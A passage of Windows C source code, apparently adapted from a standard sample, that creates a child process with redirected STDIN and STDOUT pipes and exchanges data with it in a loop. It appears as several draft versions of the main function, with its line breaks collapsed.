CreateChildProcess()) ErrorExit("Create process failed"); // After process creation, restore the saved STDIN and STDOUT. if (! SetStdHandle(STD_INPUT_HANDLE, hSaveStdin)) ErrorExit("Re-redirecting Stdin failed\n"); if (! SetStdHandle(STD_OUTPUT_HANDLE, hSaveStdout)) ErrorExit("Re-redirecting Stdout failed\n"); // Get a handle to the parent's input file. if (argc > 1) hInputFile = CreateFile(argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL); else hInputFile = hSaveStdin; if (hInputFile == INVALID_HANDLE_VALUE) ErrorExit("no input file\n"); // Write to pipe that is the standard input for a child process. WriteToPipe(); // Read from pipe that is the standard output for child process. ReadFromPipe(); return 0; }
int _tmain(void) { hStdin = GetStdHandle(STD_INPUT_HANDLE); // STDIN SECURITY_ATTRIBUTES saAttr; printf("\n->Start of parent execution.\n"); // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Create a pipe for the child process's STDOUT. if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0) ) ErrorExit(TEXT("StdoutRd CreatePipe")); // Ensure the read handle to the pipe for STDOUT is not inherited. if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) ) ErrorExit(TEXT("Stdout SetHandleInformation")); // Create a pipe for the child process's STDIN. if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) ErrorExit(TEXT("Stdin CreatePipe")); // Ensure the write handle to the pipe for STDIN is not inherited. if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) ) ErrorExit(TEXT("Stdin SetHandleInformation")); // Create the child process. CreateChildProcess(); // _beginthread(WriteToPipe,0,NULL); //SchreibThread starten // _beginthread(ReadFromPipe,0,NULL);//LeseThread starten for(;;) { WriteToPipe(); // printf( "\n->Contents written to child STDIN pipe.\n"); // Read from pipe that is the standard output for child process. // printf( "\n->Contents of child process STDOUT:\n\n"); ReadFromPipe(); if(exitOnForce) { printf("\n->SYSTEM GOING DOWN!\n"); break; } } //_endthread(); //_endthread(); printf("\n->End of parent execution.\n"); // The remaining open handles are cleaned up when this process terminates. // To avoid resource leaks in a larger application, close handles explicitly. return 0; }
int _tmain1(int argc, TCHAR *argv[]) //_tmain -- because can be compiled for unicode and not for unicode { SECURITY_ATTRIBUTES saAttr; printf("\n->Start of parent execution.\n"); // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Create a pipe for the child process's STDOUT. if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)) ErrorExit(TEXT("StdoutRd CreatePipe")); // Ensure the read handle to the pipe for STDOUT is not inherited. if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0)) ErrorExit(TEXT("Stdout SetHandleInformation")); // Create a pipe for the child process's STDIN. if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) ErrorExit(TEXT("Stdin CreatePipe")); // Ensure the write handle to the pipe for STDIN is not inherited. if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0)) ErrorExit(TEXT("Stdin SetHandleInformation")); // Create the child process. CreateChildProcess(); // Write to the pipe that is the standard input for a child process. // Data is written to the pipe's buffers, so it is not necessary to wait // until the child process is running before writing data. // Create the thread to begin execution on its own. //TODO: Error Handling CreateThread( NULL, // default security attributes 0, // use default stack size WriteToPipe, // thread function name NULL, // argument to thread function 0, // use default creation flags NULL); // returns the thread identifier //try non-dulex cycle first //TODO: thread printf("\n->Thread of STDIN to child STDIN pipe.\n", argv[1]); // Read from pipe that is the standard output for child process. //TODO: cycle printf("\n->Contents of child process STDOUT:\n\n", argv[1]); ReadFromPipe(); printf("\n->End of parent execution.\n"); // The remaining open handles are cleaned up when this process terminates. // To avoid resource leaks in a larger application, close handles explicitly. return 0; }